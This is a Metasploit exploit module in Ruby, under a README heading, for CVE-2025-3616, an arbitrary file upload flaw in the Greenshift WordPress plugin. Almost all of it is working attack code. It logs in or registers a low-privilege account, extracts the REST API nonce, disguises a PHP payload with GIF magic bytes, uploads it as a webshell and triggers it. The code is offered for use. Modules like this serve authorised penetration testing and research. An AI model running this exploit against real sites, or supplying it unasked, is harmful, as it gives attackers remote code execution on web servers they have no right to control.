README.md
Rendering markdown...
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Greenshift WordPress Plugin Arbitrary File Upload (CVE-2025-3616)',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in the Greenshift
WordPress plugin versions 11.4 through 11.4.5. The vulnerability allows
authenticated users (Subscriber level or higher) to upload arbitrary files
via the 'gspb_make_proxy_api_request' function in the REST API.
The vulnerability exists because the plugin checks the MIME type using 'finfo_file'
but trusts the file extension provided by the user. By adding GIF magic bytes (GIF89a;)
to a PHP file, an attacker can bypass the check and upload an executable PHP webshell.
The upload requires a valid 'wp_rest' nonce, which this module extracts from the
WordPress dashboard after authentication.
},
'License' => MSF_LICENSE,
'Author' => [
'Nizar',
],
'References' => [
['CVE', '2025-3616'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/greenshift-query-and-post-blocks/greenshift-animation-and-page-builder-blocks-1140-1145-arbitrary-file-upload']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['WordPress Greenshift Plugin < 11.4.6', {}]
],
'DisclosureDate' => '2025-04-29',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the WordPress installation', '/']),
OptString.new('USERNAME', [false, 'The username to authenticate as (generated if registering)', '']),
OptString.new('PASSWORD', [false, 'The password to authenticate with', '']),
OptBool.new('REGISTER', [false, 'Register a new user to exploit', false]),
OptString.new('EMAIL', [false, 'Email for registration (random if empty)', ''])
]
)
end
def check
readme_uri = normalize_uri(target_uri.path, 'wp-content/plugins/greenshift-animation-and-page-builder-blocks/readme.txt')
res = send_request_cgi(
'method' => 'GET',
'uri' => readme_uri
)
if res && res.code == 200
version = res.body.scan(/Stable tag: ([\d\.]+)/).flatten.first
if version && Rex::Version.new(version) >= Rex::Version.new('11.4') && Rex::Version.new(version) < Rex::Version.new('11.4.6')
return Exploit::CheckCode::Appears
elsif version
vprint_status("Detected version: #{version}")
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Unknown
end
def get_nonce(cookie_jar)
print_status('Extracting REST API nonce from admin interface...')
uri = normalize_uri(target_uri.path, 'wp-admin/post-new.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie_jar
)
nonce = nil
if res && res.code == 200
if res.body =~ /wpApiSettings\s*=\s*{.*?"nonce":"([a-f0-9]{10})"/m
nonce = $1
elsif res.body =~ /"nonce":"([a-f0-9]{10})"/
nonce = $1
end
end
nonce
end
def wp_login(user, pass)
print_status("Authenticating as #{user}...")
login_uri = normalize_uri(target_uri.path, 'wp-login.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'vars_post' => {
'log' => user,
'pwd' => pass,
'wp-submit' => 'Log In',
'testcookie' => '1',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/')
}
)
if res && (res.code == 302 || res.code == 200) && res.get_cookies.include?('wordpress_logged_in')
print_good("Authenticated successfully")
return res.get_cookies
else
return nil
end
end
def wp_register(user, email)
print_status("Registering new account for #{user} (#{email})...")
register_uri = normalize_uri(target_uri.path, 'wp-login.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => register_uri,
'vars_get' => { 'action' => 'register' },
'vars_post' => {
'user_login' => user,
'user_email' => email,
'wp-submit' => 'Register'
}
)
if res && (res.code == 302 || res.code == 200) && res.get_cookies.include?('wordpress_logged_in')
print_good("Registration successful - Cookies received!")
return res.get_cookies
else
return nil
end
end
def exploit
cookies = nil
if datastore['REGISTER']
user = datastore['USERNAME'].blank? ? Rex::Text.rand_text_alpha(8) : datastore['USERNAME']
email = datastore['EMAIL'].blank? ? "#{user}@local.test" : datastore['EMAIL']
cookies = wp_register(user, email)
fail_with(Failure::NoAccess, 'Registration failed (no cookies received)') unless cookies
else
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required when REGISTER is false') if datastore['USERNAME'].blank? || datastore['PASSWORD'].blank?
cookies = wp_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless cookies
end
nonce = get_nonce(cookies)
fail_with(Failure::UnexpectedReply, 'Could not retrieve WP REST API nonce') unless nonce
print_good("Found nonce: #{nonce}")
gif_header = "GIF89a;\n"
php_payload = gif_header + payload.encoded
filename = Rex::Text.rand_text_alpha(8) + '.php'
print_status("Uploading payload #{filename}...")
mime_data = Rex::MIME::Message.new
mime_data.add_part(php_payload, 'image/gif', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('media_upload', nil, nil, 'form-data; name="type"')
exploit_uri = normalize_uri(target_uri.path, 'wp-json/greenshift/v1/proxy-api')
res = send_request_cgi(
'method' => 'POST',
'uri' => exploit_uri,
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'headers' => {
'X-WP-Nonce' => nonce
},
'cookie' => cookies
)
shell_url = nil
if res && res.code == 200
json = res.get_json_document
if json['success'] && json['file_url']
shell_url = json['file_url']
print_good("File uploaded successfully: #{shell_url}")
register_file_for_cleanup(filename)
else
print_error("JSON response did not indicate success or missing file_url: #{res.body}")
end
else
print_error("Upload failed with code #{res.code} if response received")
if res
print_error("Body: #{res.body}")
end
end
fail_with(Failure::Unknown, 'Failed to extract shell URL from response') unless shell_url
print_status("Triggering payload at #{shell_url}...")
send_request_cgi(
'method' => 'GET',
'uri' => shell_url
)
end
end